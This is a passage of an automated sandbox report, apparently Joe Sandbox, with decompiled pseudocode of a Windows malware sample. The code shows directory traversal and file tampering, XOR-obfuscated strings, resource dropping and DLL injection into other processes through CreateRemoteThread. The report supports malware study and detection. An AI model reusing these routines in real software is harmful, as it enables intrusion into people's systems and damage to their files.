				_t138 = (_t135 & 0xfffffff8) - 0x364 + 0xc;
				_v867 = 0x2e;
				_v865 = 0;
				lstrcpyA( &_v532, _a4);
				_t132 = lstrcatA;
				lstrcatA( &_v532,  &_v868);
				_push(FindFirstFileA( &_v532,  &_v852));
				_pop(_t125);
				_v864 = _t125;
				_t62 = GetLastError();
				_t94 = 0x2684;
				if(_t125 == 0xffffffff) {
					L13:
					_t63 = E00424873(_t62, _v8);
					_push(_t134);
					return _t63;
				} else {
					goto L1;
				}
				do {
					L1:
					if((_v852.dwFileAttributes & 0x00000010) == 0) {
						L6:
						_t65 = E00405310(_t94, _t125, _t132, _t134,  &(_v852.cFileName));
						_t138 = _t138 + 4;
						if(_t65 == 0) {
							goto L11;
						}
						_t129 =  &_v532;
						memset(_t129, 0, 0x82 << 2);
						_t130 = _t129 + 0x82;
						lstrcpyA( &_v532, _a4);
						lstrcatA( &_v532,  &(_v852.cFileName));
						_v860 = 0x2e;
						_v859 = 0x77;
						_v858 = 0x61;
						_v857 = 0x62;
						_v856 = 0;
						_t89 = E00425320( &_v532,  &_v860);
						_t140 = _t138 + 0x14;
						if(_t89 == 0) {
							_t48 =  &_a8; // 0x5c3a20
							_t94 =  *0x431c84 * 0x74;
							E00406260( &_v532,  *_t48);
						} else {
							_t46 =  &_a8; // 0x5c3a20
							_push( *_t46);
							_push( &_v532);
							_t94 = 0;
							E00415690(0, _t130, _t132);
						}
						L10:
						_t138 = _t140 + 8;
						goto L11;
					}
					_t125 = lstrcmpA;
					if(lstrcmpA( &(_v852.cFileName), 0x42e310) == 0 || lstrcmpA( &(_v852.cFileName), 0x42e30c) == 0) {
						if((_v852.dwFileAttributes & 0x00000010) != 0) {
							goto L11;
						}
						goto L6;
					} else {
						memset( &_v532, 0, 0x82 << 2);
						_t140 = _t138 + 0xc;
						lstrcpyA( &_v532, _a4);
						lstrcatA( &_v532,  &(_v852.cFileName));
						lstrcatA( &_v532, 0x42e308);
						_t27 =  &_a8; // 0x5c3a20
						_t94 = 0x2be;
						E00406360( &_v532,  *_t27);
						goto L10;
					}
					L11:
					_t125 = _v864;
				} while (FindNextFileA(_t125,  &_v852) != 0);
				_t80 =  *0x431c84; // 0x0
				 *0x431c84 = _t80 - _t94 | 0x00000080;
				_t62 = FindClose(_t125);
				goto L13;
			}

0x0040636c
0x00406372
0x0040637d
0x00406381
0x00406393
0x00406393
0x004063a1
0x004063a6
0x004063ab
0x004063b1
0x004063c4
0x004063d9
0x004063da
0x004063db
0x004063df
0x004063e8
0x004063ed
0x00406562
0x00406569
0x00406571
0x00406574
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063f3
0x004063f8
0x0040648a
0x0040648f
0x00406494
0x00406499
0x00000000
0x00000000
0x004064a6
0x004064ad
0x004064ad
0x004064bb
0x004064ce
0x004064dd
0x004064e2
0x004064e7
0x004064ec
0x004064f1
0x004064f6
0x004064fb
0x00406500
0x00406517
0x00406522
0x0040652d
0x00406502
0x00406502
0x00406505
0x0040650d
0x0040650e
0x00406510
0x00406510
0x00406532
0x00406532
0x00000000
0x00406532
0x004063fe
0x00406412
0x00406484
0x00000000
0x00000000
0x00000000
0x00406424
0x00406435
0x00406435
0x00406440
0x00406453
0x00406462
0x00406464
0x00406470
0x00406475
0x00000000
0x00406475
0x00406535
0x00406535
0x00406545
0x0040654d
0x00406557
0x0040655c
0x00000000

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,73BCF990,00000063), ref: 004063AB
lstrcatA.KERNEL32(?,?,?,?,?,?,?,73BCF990,00000063), ref: 004063C4
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,73BCF990,00000063), ref: 004063D3
GetLastError.KERNEL32(?,?,?,?,?,73BCF990,00000063), ref: 004063DF
lstrcmpA.KERNEL32(?,0042E310), ref: 0040640E
lstrcmpA.KERNEL32(?,0042E30C), ref: 0040641E
lstrcpyA.KERNEL32(?,?), ref: 00406440
lstrcatA.KERNEL32(?,?), ref: 00406453
lstrcatA.KERNEL32(?,0042E308), ref: 00406462
lstrcpyA.KERNEL32(?,?,00000063), ref: 004064BB
lstrcatA.KERNEL32(?,?), ref: 004064CE
FindNextFileA.KERNEL32(?,?,00000063), ref: 0040653F
FindClose.KERNEL32(?), ref: 0040655C

Strings

., xrefs: 004064DD
a, xrefs: 004064E7
:\, xrefs: 00406517, 00406502, 00406464, 00406467, 00406505, 00406521
w, xrefs: 004064E2
b, xrefs: 004064EC
., xrefs: 004063A1

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: lstrcat$Findlstrcpy$Filelstrcmp$CloseErrorFirstLastNext
String ID: :\$.$.$a$b$w
API String ID: 1838452084-3178132420
Opcode ID: 3122860500837fbaa35d24a96f46ad5596f8235aadae3cf0e4483d26fa52c480
Instruction ID: 9a809a2c40d32e64486a8d8810ebc600556dbe077e4628ecee0ce5b290f09c28
Opcode Fuzzy Hash: 3122860500837fbaa35d24a96f46ad5596f8235aadae3cf0e4483d26fa52c480
Instruction Fuzzy Hash: 4251E972108384AFC720DB74DC44ADFBBE9ABC8304F40492EF58A93291D7B9D609C766

Uniqueness

Uniqueness Score: -1.00%

Function 00401830, Relevance: 29.8, APIs: 4, Strings: 13, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401830() {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v271;
				char _v273;
				char _v275;
				char _v277;
				char _v279;
				char _v281;
				char _v283;
				struct _SYSTEMTIME _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				intOrPtr _t44;
				void* _t46;
				char* _t60;

				_t60 =  &_v304;
				_t44 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t44;
				_v288 = 0x87;
				_v268 = 0x87;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v284.wYear = 0x5e;
				_v283 = 0x6d;
				_v284.wMonth = 0x10;
				_v281 = 0xb0;
				_v284.wDayOfWeek = 0x3c;
				_v279 = 0xf9;
				_v284.wDay = 0xe3;
				_v277 = 2;
				_v284.wHour = 0x68;
				_v275 = 0x8c;
				_v284.wMinute = 0xc;
				_v273 = 0x1f;
				_v284.wSecond = 0x74;
				_v271 = 0x46;
				_v284.wMilliseconds = 0xe5;
				_v269 = 0x95;
				_t46 = 0;
				do {
					_t60[_t46] = _t60[_t46] ^ _t60[_t46 + 0x14];
					_t46 = _t46 + 1;
				} while (_t46 < 0x11);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				GetLocalTime( &_v284);
				return E00424873(CloseHandle(CreateFileA( &_v264, 0x40000000, 0, 0, 2, 0, 0)), _v4);
			}

0x00401830
0x00401836
0x0040183b
0x00401846
0x0040184a
0x0040184e
0x00401852
0x00401857
0x0040185c
0x00401861
0x00401866
0x0040186a
0x0040186f
0x00401874
0x00401879
0x0040187e
0x00401883
0x00401888
0x0040188d
0x00401892
0x00401897
0x0040189c
0x004018a1
0x004018a6
0x004018ab
0x004018af
0x004018b4
0x004018b9
0x004018be
0x004018c3
0x004018c8
0x004018cd
0x004018d2
0x004018d7
0x004018dc
0x004018e1
0x004018e6
0x004018eb
0x004018f0
0x004018f9
0x004018fc
0x004018fd
0x00401911
0x0040191c
0x00401955

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401911
GetLocalTime.KERNEL32(0000005E), ref: 0040191C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401936
CloseHandle.KERNEL32(00000000), ref: 0040193D

Strings

z, xrefs: 00401883
F, xrefs: 004018DC
x, xrefs: 00401861
0, xrefs: 0040188D
m, xrefs: 004018A1
4, xrefs: 00401874
', xrefs: 0040186F
:, xrefs: 00401852
Y, xrefs: 00401857
t, xrefs: 004018D7
<, xrefs: 004018AF
^, xrefs: 0040189C
h, xrefs: 004018C3

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleLocalStringsTime
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 2910088009-759814561
Opcode ID: ee919c090513dc64159bca06948aacb3515257dceb2ae0a5cc78467eeaa0627b
Instruction ID: 64b83935b3c64bcfcb9d456bbe91e497aba1ab227a9a7f25b1e9271cbce6f40c
Opcode Fuzzy Hash: ee919c090513dc64159bca06948aacb3515257dceb2ae0a5cc78467eeaa0627b
Instruction Fuzzy Hash: ED31EC2110C3C1D9E312DB38984874FBFD15BA7618F488A9DF1E95A2D2C2B99249C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00423D83, Relevance: 21.2, APIs: 14, Instructions: 161
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423D83(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t77;
				struct _OVERLAPPED* _t78;
				void* _t95;
				long _t96;
				long _t103;
				signed char _t116;
				signed char _t120;
				signed int _t123;
				void* _t129;
				void* _t132;
				void* _t133;

				_t132 = _t133;
				_t77 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t132 - 4)) = _t77;
				 *(_t132 - 0x18) = 0xec;
				 *((char*)(_t132 - 0x17)) = 0xc7;
				 *((char*)(_t132 - 0x16)) = 0x54;
				 *((char*)(_t132 - 0x15)) = 0x7d;
				 *((char*)(_t132 - 0x14)) = 0xdc;
				 *(_t132 - 0xc) = 0xb0;
				 *((char*)(_t132 - 0xb)) = 0x9b;
				 *((char*)(_t132 - 0xa)) = 0x7a;
				 *((char*)(_t132 - 9)) = 0x21;
				 *((char*)(_t132 - 8)) = 0xdc;
				_t78 = 0;
				do {
					 *(_t132 + _t78 - 0x18) =  *(_t132 + _t78 - 0x18) ^  *(_t132 + _t78 - 0xc);
					_t78 =  &(_t78->Internal);
				} while (_t78 < 5);
				 *(_t132 - 0x24) = 0x65;
				 *((char*)(_t132 - 0x23)) = 0xc0;
				 *((char*)(_t132 - 0x22)) = 0x88;
				 *((char*)(_t132 - 0x21)) = 0xf4;
				 *((char*)(_t132 - 0x20)) = 0xc4;
				 *((char*)(_t132 - 0x1f)) = 0x2d;
				 *((char*)(_t132 - 0x1e)) = 0xd9;
				 *((char*)(_t132 - 0x1d)) = 0x18;
				 *((char*)(_t132 - 0x1c)) = 0x66;
				 *((char*)(_t132 - 0x10)) = 0x99;
				 *((char*)(_t132 - 0xf)) = 0xc5;
				 *((char*)(_t132 - 0xe)) = 0x81;
				 *((char*)(_t132 - 0xd)) = 0xe4;
				 *(_t132 - 0xc) = 0x92;
				 *((char*)(_t132 - 0xb)) = 0xfb;
				 *((char*)(_t132 - 0xa)) = 0x98;
				 *((char*)(_t132 - 9)) = 0xfd;
				 *((char*)(_t132 - 8)) = 0xa1;
				_t123 = 0x1ee2;
				_t129 = 0;
				do {
					_t120 = 0x1c - _t123;
					 *(_t132 + _t129 - 0x24) =  *(_t132 + _t129 - 0xf) ^  *(_t132 + _t129 - 0x10);
					_t123 = (_t123 ^ 0x0000001c) * 0x1d >> 0x20;
					_t129 = _t129 + 1;
					 *0x43201d = 0x32c ^ _t120 | 0x00000048;
				} while (_t129 < 8);
				 *( *(_t132 + 0x18)) = 0;
				 *(_t132 + _t129 - 0x24) = 0;
				 *(_t132 - 0xc) = 0;
				 *((char*)(_t132 - 0x425)) = 0;
				if(QueryDosDeviceA( *(_t132 + 8), _t132 - 0x224, 0x200) != 0) {
					L10:
					lstrcpyA(_t132 - 0x424, _t132 - 0x18);
					 *0x43201d = 0x63;
					lstrcatA(_t132 - 0x424,  *(_t132 + 8));
					_t116 = 0x1c -  *0x43201d;
					_t95 = CreateFileA(_t132 - 0x424, 0, 1, 0, 3, 0, 0xffffffff);
					if(_t95 == 0xffffffff) {
						_t96 = GetLastError();
						L15:
						 *(_t132 - 0xc) = _t96;
						L16:
						if( *((char*)(_t132 - 0x425)) == 0 || DefineDosDeviceA(7,  *(_t132 + 8), _t132 - 0x224) != 0) {
							_t97 =  *(_t132 - 0xc);
						} else {
							_t97 = GetLastError();
						}
						L20:
						return E00424873(_t97,  *((intOrPtr*)(_t132 - 4)));
					}
					if(DeviceIoControl(_t95, 0x170002, _t132 + 0xc, 4,  *(_t132 + 0x10),  *(_t132 + 0x14),  *(_t132 + 0x18), 0) != 0) {
						goto L16;
					}
					_t96 = GetLastError();
					 *0x43201d =  *0x43201d ^ _t116;
					goto L15;
				}
				_t103 = GetLastError();
				if(_t103 != 2) {
					L8:
					 *(_t132 - 0xc) = _t103;
					L9:
					_t97 =  *(_t132 - 0xc);
					if( *(_t132 - 0xc) != 0) {
						goto L20;
					}
					goto L10;
				}
				lstrcpyA(_t132 - 0x224, _t132 - 0x24);
				lstrcatA(_t132 - 0x224,  *(_t132 + 8));
				if(DefineDosDeviceA(1,  *(_t132 + 8), _t132 - 0x224) != 0) {
					 *((char*)(_t132 - 0x425)) = 1;
					goto L9;
				}
				_t103 = GetLastError();
				goto L8;
			}

0x00423d85
0x00423d8c
0x00423d94
0x00423d99
0x00423d9d
0x00423da1
0x00423da5
0x00423da9
0x00423dad
0x00423db1
0x00423db5
0x00423db9
0x00423dbd
0x00423dc1
0x00423dc3
0x00423dc7
0x00423dcb
0x00423dcc
0x00423dd1
0x00423dd5
0x00423dd9
0x00423ddd
0x00423de1
0x00423de5
0x00423de9
0x00423ded
0x00423df1
0x00423df5
0x00423df9
0x00423dfd
0x00423e01
0x00423e05
0x00423e09
0x00423e0d
0x00423e11
0x00423e15
0x00423e19
0x00423e1e
0x00423e20
0x00423e22
0x00423e33
0x00423e39
0x00423e3f
0x00423e43
0x00423e43
0x00423e4d
0x00423e5e
0x00423e63
0x00423e66
0x00423e81
0x00423ed5
0x00423ee0
0x00423eec
0x00423ef3
0x00423f06
0x00423f0d
0x00423f16
0x00423f52
0x00423f58
0x00423f58
0x00423f5b
0x00423f62
0x00423f82
0x00423f7a
0x00423f7a
0x00423f7a
0x00423f85
0x00423f91
0x00423f91
0x00423f36
0x00000000
0x00000000
0x00423f38
0x00423f3e
0x00000000
0x00423f3e
0x00423e83
0x00423e8c
0x00423ec7
0x00423ec7
0x00423eca
0x00423eca
0x00423ecf
0x00000000
0x00000000
0x00000000
0x00423ecf
0x00423e99
0x00423ea5
0x00423ebb
0x00423f46
0x00000000
0x00423f46
0x00423ec1
0x00000000

APIs

QueryDosDeviceA.KERNEL32 ref: 00423E6D
GetLastError.KERNEL32 ref: 00423E83
lstrcpyA.KERNEL32(?,00000000), ref: 00423E99
lstrcatA.KERNEL32(?,000000A1), ref: 00423EA5
DefineDosDeviceA.KERNEL32(00000001,000000A1,?), ref: 00423EB3
GetLastError.KERNEL32 ref: 00423EC1
lstrcpyA.KERNEL32(?,000000EC), ref: 00423EE0
lstrcatA.KERNEL32(?,000000A1), ref: 00423EF3
CreateFileA.KERNEL32(?,?,00000001,?,00000003,?,000000FF), ref: 00423F0D
DeviceIoControl.KERNEL32(00000000,00170002,00000092,00000004,00000099,000000DC,000000EC,?), ref: 00423F2E
GetLastError.KERNEL32 ref: 00423F38
DefineDosDeviceA.KERNEL32(00000007,000000A1,?), ref: 00423F70
GetLastError.KERNEL32 ref: 00423F7A

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: DeviceErrorLast$Definelstrcatlstrcpy$ControlCreateFileQuery
String ID:
API String ID: 204970884-0
Opcode ID: c588f8545d6c6856e13ddbfd20157f9a823e53238195a0c027d2ccb94f6b95e4
Instruction ID: f43f88f99214eee8f055ebb153bc62769eb52c9b6f03a1485ebbcadaeea58f8b
Opcode Fuzzy Hash: c588f8545d6c6856e13ddbfd20157f9a823e53238195a0c027d2ccb94f6b95e4
Instruction Fuzzy Hash: E861C630A042DDAEDF21CFB9EC48ADE7FB49F16320F444295E5A4A62D1C3744706CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00405090, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 143
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00405090(void* __ebx, void* __edi, void* __esi, void* __ebp, int* _a4) {
				intOrPtr _v4;
				char _v264;
				char _v532;
				intOrPtr _v560;
				signed char _v562;
				signed char _v563;
				void* _v564;
				signed char _v565;
				signed char _v566;
				signed char _v567;
				void* _v568;
				signed int _v570;
				signed int _v571;
				signed int _v572;
				signed int _v573;
				signed int _v574;
				signed int _v575;
				signed int _v576;
				intOrPtr _t47;
				void* _t50;
				long _t58;
				void* _t63;
				int _t73;
				int _t78;
				void* _t83;
				signed char _t94;
				char _t97;
				int* _t107;
				void* _t110;
				void* _t111;
				signed int* _t112;
				signed int* _t113;

				_t111 = __ebp;
				_t112 =  &_v576;
				_t47 =  *0x4310d8; // 0xd0c2a9a8
				_t107 = _a4;
				_v4 = _t47;
				 *_t107 = 0;
				GetSystemDirectoryA( &_v264, 0x104);
				_v576 = 0xea;
				_v575 = 0x95;
				_v574 = 0x54;
				_v573 = 0x8f;
				_v572 = 0x6f;
				_v571 = 0x90;
				_v570 = 0xf7;
				_t50 = 0;
				_t83 = 6;
				do {
					_t80 =  *((intOrPtr*)(_t112 + _t83 + 0xc));
					_t97 =  *((intOrPtr*)(_t112 + _t50 + 0xc));
					 *((char*)(_t112 + _t50 + 0xc)) =  *((intOrPtr*)(_t112 + _t83 + 0xc));
					_t50 = _t50 + 1;
					 *((char*)(_t112 + _t83 + 0xc)) = _t97;
					_t83 = _t83 - 1;
				} while (_t50 < _t83);
				_v568 = _v576 ^ 0x00000092;
				_v567 = _v575 ^ 0x000000a1;
				_v566 = _v574 ^ 0x00000041;
				_v565 = _v573 ^ 0x000000eb;
				_v564 = _v572 ^ 0x00000038;
				_v563 = _v571 ^ 0x000000f9;
				 *0x431c83 = 0x6c;
				_v562 = _v570 ^ 0x000000ea;
				lstrcatA( &_v264, 0x42e308);
				lstrcatA( &_v264,  &_v568);
				_t58 = GetFileAttributesA( &_v264);
				_t116 = _t58 - 0xffffffff;
				if(_t58 != 0xffffffff) {
					L13:
					asm("pushfd");
					__eflags = 1;
					asm("popfd");
					return E00424873(1, _v4);
				} else {
					_push(0x42e304);
					_push( &_v264);
					_t63 = E0041E0B0(_t116, 0);
					_t113 =  &(_t112[3]);
					if(_t63 == 0) {
						L5:
						return E00424873(0, _v4);
					} else {
						E004047A0();
						_push(CreateToolhelp32Snapshot(2, 0));
						_pop(_t110);
						if(lstrcatA != 0xffffffff) {
							_v564 = 0x128;
							__eflags = Process32First(lstrcatA,  &_v564);
							while(__eflags != 0) {
								_push( &_v532);
								 *0x431c83 = 0x2a;
								E00425C34(_t80, _t107, _t110, __eflags);
								_push( &_v532);
								_t80 =  *0x431c83 + 0xd;
								_t73 = E00404990(_t80, _t107, _t110, _t111);
								_t113 =  &(_t113[2]);
								__eflags = _t73;
								if(_t73 != 0) {
									_t94 =  *0x431c83; // 0x0
									 *0x431c83 = _t94 | _t80;
									_t78 = E00404840(_v560,  &_v576);
									__eflags = _t78;
									if(_t78 == 0) {
										 *_t107 = 1;
									}
									 *0x431c83 = 0x6c;
								}
								__eflags = Process32Next(_t110,  &_v568);
							}
							CloseHandle(_t110);
							goto L13;
						} else {
							goto L5;
						}
					}
				}
			}

0x00405090
0x00405090
0x00405096
0x0040509e
0x004050a5
0x004050b9
0x004050bf
0x004050c5
0x004050ca
0x004050cf
0x004050d4
0x004050d9
0x004050de
0x004050e3
0x004050e8
0x004050ea
0x004050f0
0x004050f0
0x004050f4
0x004050f8
0x004050fc
0x004050fd
0x00405101
0x00405102
0x0040511e
0x00405126
0x00405136
0x0040513e
0x00405146
0x0040515c
0x00405160
0x00405167
0x0040516b
0x0040517a
0x00405184
0x0040518a
0x0040518d
0x00405269
0x00405272
0x00405275
0x00405276
0x00405283
0x00405193
0x00405193
0x0040519f
0x004051a2
0x004051a7
0x004051ac
0x004051c5
0x004051da
0x004051ae
0x004051ae
0x004051bc
0x004051bd
0x004051c1
0x004051e1
0x004051ee
0x004051f0
0x004051f6
0x004051f7
0x004051fe
0x0040520f
0x00405210
0x00405213
0x00405218
0x0040521b
0x0040521d
0x0040521f
0x00405231
0x0040523d
0x00405242
0x00405244
0x00405246
0x00405246
0x0040524c
0x0040524c
0x0040525e
0x0040525e
0x00405263
0x00000000
0x00000000
0x00000000
0x00000000
0x004051c1
0x004051ac

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004050BF
lstrcatA.KERNEL32(?,0042E308), ref: 0040516B
lstrcatA.KERNEL32(?,?), ref: 0040517A
GetFileAttributesA.KERNEL32(?), ref: 00405184
CreateToolhelp32Snapshot.KERNEL32 ref: 004051B7
Process32First.KERNEL32 ref: 004051E9
Process32Next.KERNEL32 ref: 00405259

Part of subcall function 00404840: OpenProcess.KERNEL32(0000042A,?,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
Part of subcall function 00404840: lstrlenA.KERNEL32(00405242,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 0040489A
Part of subcall function 00404840: VirtualAllocEx.KERNEL32(00000000,?,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048B7
Part of subcall function 00404840: WriteProcessMemory.KERNEL32(00000000,00000000,00405242,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048D3
Part of subcall function 00404840: GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 004048EB
Part of subcall function 00404840: GetProcAddress.KERNEL32(00000000), ref: 004048F2
Part of subcall function 00404840: CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E

CloseHandle.KERNEL32(00000000), ref: 00405263

Strings

o, xrefs: 004050D9
T, xrefs: 004050CF

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CreateHandleProcessProcess32lstrcat$AddressAllocAttributesCloseDirectoryFileFirstMemoryModuleNextOpenProcRemoteSnapshotSystemThreadToolhelp32VirtualWritelstrlen
String ID: T$o
API String ID: 347023813-3088171537
Opcode ID: 139b5463ae8075e0dc8a5c7b57496620c6fd86126b6eef687a44c51526d47918
Instruction ID: 51bbc553f3c93fbcf16ca8b646b4a1a36275a34347786871827be1484687b7d3
Opcode Fuzzy Hash: 139b5463ae8075e0dc8a5c7b57496620c6fd86126b6eef687a44c51526d47918
Instruction Fuzzy Hash: 8A51337510C3C18AD310DB39AC84ADFBFD48FD6324F085A6DE5E8862D2D6788109CB6B

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0B0, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041E0B0(void* __eflags, CHAR* _a8) {
				struct HINSTANCE__* _v0;
				char _v1;
				char _v2;
				char _v3;
				long _v4;
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				CHAR* _t18;
				struct HRSRC__* _t19;
				void* _t20;
				long _t21;
				void* _t22;
				void* _t23;
				signed char _t25;
				signed char _t29;
				signed int _t31;
				void* _t33;
				struct HINSTANCE__* _t35;
				signed int _t38;
				signed short _t42;
				signed short _t43;
				signed int _t45;
				signed int _t48;
				void* _t49;
				signed char _t53;
				signed char _t55;
				signed int _t57;
				void* _t61;
				void* _t62;
				void* _t63;
				void* _t64;
				void* _t66;
				struct HRSRC__* _t71;
				void* _t72;
				long _t74;

				_push( &_v8);
				_t49 = 4;
				_v8 = 0x6a;
				_v7 = 0xc1;
				_v6 = 0xa4;
				_v5 = 0x4a;
				_v4 = 0x86;
				_v3 = 0xe4;
				_v2 = 0x8d;
				_v1 = 0xe3;
				_t18 = E0041DDE0( &_v4, _t49);
				_t35 = _v0;
				_t19 = FindResourceA(_t35, _a8, _t18);
				_t71 = _t19;
				if(_t71 != 0) {
					_t20 = LoadResource(_t35, _t71);
					_t61 = _t20;
					_t62 = _t61;
					if(_t62 != 0) {
						_t21 = SizeofResource(_t35, _t71);
						_push(_t62);
						_t74 = _t21;
						_t22 = LockResource(??);
						_t63 = _t22;
						_t64 = _t63;
						if(_t64 != 0) {
							 *0x431f20 = 0x76;
							 *0x431f24 = 0x71;
							_t23 = CreateFileA(_a8, 2, 0, 0, 2, 0, 0);
							_t42 =  *0x431f28; // 0x0
							_t72 = _t23;
							_t25 = _t42 + 0x6c;
							_t38 = _t42 & 0xfffffffd | 0x0000003c;
							 *0x431f1c = _t25;
							if(_t72 != 0xffffffff) {
								 *0x431f24 = 0x71;
								if(WriteFile(_t72, _t64, _t74,  &_v4, 0) != 0) {
									_t43 =  *0x431f28; // 0x0
									_t29 =  *0x431f1c; // 0x0
									_t53 = _t38 - 0x00000035 & _t43;
									_t25 = _t29 | _t53;
									_push(_t53);
									_t38 = 0x76;
									 *0x431f28 = _t43 ^ _t38;
									 *0x431f24 = 0x71;
									asm("pushfd");
									_t66 = 1;
									asm("popfd");
									_t45 = _t38;
									goto L11;
								} else {
									_t45 =  *0x431f20; // 0x0
									_t57 = _t45;
									_t25 = 0x71;
									 *0x431f28 = 0x22;
									_t38 = _t57 & _t38 | 0x00000027;
									_t66 = 0;
								}
							} else {
								_t48 =  *0x431f20; // 0x0
								_t45 = _t48 | 0x00002806;
								_t66 = 0;
								L11:
								 *0x431f20 = _t45;
							}
							_t55 =  *0x431f28; // 0x0
							 *0x431f1c = _t25 | _t45 - 0x00000035 & _t55;
							_t31 =  *0x431f24; // 0x0
							 *0x431f24 = _t31 * _t38;
							 *0x431f28 = _t38 | 0x0000003b;
							if(_t72 != 0xffffffff) {
								CloseHandle(_t72);
							}
							_t33 = _t66;
							return _t33;
						} else {
							return _t22;
						}
					} else {
						return _t20;
					}
				} else {
					return _t19;
				}
			}

0x0041e0b9
0x0041e0c0
0x0041e0c3
0x0041e0c8
0x0041e0cd
0x0041e0d2
0x0041e0d7
0x0041e0dc
0x0041e0e1
0x0041e0e6
0x0041e0eb
0x0041e0f4
0x0041e0fb
0x0041e103
0x0041e105
0x0041e110
0x0041e117
0x0041e118
0x0041e11a
0x0041e126
0x0041e12c
0x0041e12e
0x0041e12f
0x0041e136
0x0041e137
0x0041e139
0x0041e154
0x0041e15e
0x0041e165
0x0041e16b
0x0041e176
0x0041e17c
0x0041e17e
0x0041e184
